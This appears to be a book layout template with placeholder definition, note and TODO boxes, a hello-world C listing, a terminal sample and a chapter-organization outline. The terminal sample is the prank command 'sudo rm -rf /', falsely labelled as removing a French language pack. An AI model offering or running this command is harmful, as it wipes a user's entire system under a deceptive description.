Definition: A Definition

This is a definition of something

Note:

This is something to note

TODO

What next do I need to do

example/hello.c

```
1 #include <stdio.h>
2
3 int main() {
4     printf("Hello, World!\n");
5     return 0;
6 }
```

Terminal

```
$ sudo rm -rf / # remove french pack from your system
```

2. Organization

1. Title Page
2. License, Copyrights, Publish Dates, ISBN
3. Acknowledgements
4. Preface
5. Table of Contents
6. Chapter
 - Use level 1 heading under centered alignment
 - Contain a summary of the chapter
 - After the summary use `minitoc`
 - The first section (which uses heading level 2) should follow on the following page
